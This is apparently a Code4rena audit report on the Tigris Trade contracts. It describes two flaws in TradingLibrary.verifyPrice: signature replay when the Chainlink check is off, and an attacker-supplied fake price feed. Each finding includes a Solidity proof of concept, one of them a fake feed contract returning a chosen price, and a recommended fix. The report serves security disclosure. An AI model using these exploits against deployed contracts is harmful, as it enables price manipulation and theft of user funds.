Tigris Trade contest - orion's results

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L91-L104

Vulnerability details

Impact

The verifyPrice function verifiers whether the given price data (PriceData calldata _priceData,) of an asset is correct based on the signature given by the provider ( bytes calldata _signature), if so it will process the transaction based on logic, the signature is protected by the block.timestamp and the data time, however this doesn't make it fully protected, a signature replay attack can still occurs, a malicious actor can resend an old pricedata with it's used signature and it will make the price as valid while it's not

we can see that it verifies the price lately with the chainlink price (price < assetChainlinkPrice+assetChainlinkPrice2/100 && price > assetChainlinkPrice-assetChainlinkPrice2/100) however it still exploitable when we set _chainlinkEnabled to false and it will avoid the whole the verification from ChainLink

Proof of concept :

(Remix IDE)

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L104";

contract example {
    mapping(address=>bool) public _isNode;
    constructor() public {
       _isNode[msg.sender] = true;
    }
    function test(uint256 _validSignatureTimer,
        uint256 _asset, bool _chainlinkEnabled, address _chainlinkFeed, PriceData calldata _priceData,  bytes calldata _signature) {
       TradingLibrary.verifyPrice(_validSignatureTimer,_asset,_chainlinkEnabled,_chainlinkFeed,_priceData,_signature,_isNode);
       // do the next stuff
  }
}

With your wallet (as node) sign the hash with the valid priceData tuple (make the _validSignatureTimer high), and call the test function (set _chainlinkEnabled to false to avoid), transaction will succeed, supposing the price updated ...etc we re-call the function with the same data previously and the call will succeed

Tools Used :

Manual

Recommended Mitigation Steps

Use nonce and verified in the PriceData, and within the verifyPrice function update it further

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L95

Vulnerability details

Impact

The TradingLibrary> verifyPrice function verifies the given price with the node signature, however it reverts if the signed price is different than the chainLink price feed if the price slipped during "_priceData.timestamp + _validSignatureTimer", however this design can be bypassed as the priceFeed address is given by the user (address _chainlinkFeed) doing so an attacker can deploy a fake price feed and give it in the arg and give it's controlled price, this will make the attacker benefits from slippage ...etc

Proof of Concept

(Remix IDE), supposing the price is 400 however the price from the chainlink price feed is 900 (this will make 400 > 900-900*2/100 reverts)

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L104";

contract fake {
   function decimals() external view returns(uint256) {
       return 18;
   }
  function latestAnswer() external view returns (int256) {
      return 400;
  }
}
contract example {
  mapping(address=>bool) public _isNode;
  constructor() public {
     _isNode[msg.sender] = true;
  }
  function test(uint256 _validSignatureTimer,
      uint256 _asset, address _chainlinkFeed, PriceData calldata _priceData,  bytes calldata _signature) {
     TradingLibrary.verifyPrice(_validSignatureTimer,_asset,true,_chainlinkFeed,_priceData,_signature,_isNode);
     // do the next stuff
}
}

With your wallet (as node) sign the hash with the valid priceData tuple (make the _validSignatureTimer high and the price is 400), supposing the current price of the asset is 900 but the signature is made for 400 as price, call the test function with the fake contract as _chainlinkFeed and the transaction will succeed

Tools Used

Manual

Recommended Mitigation Steps

Make a whitelisting to the _chainlinkFeed :

mapping(address=>bool) whitelisted;
...
require(whitelisted[_chainlinkFeed],"unknown chainlink feed");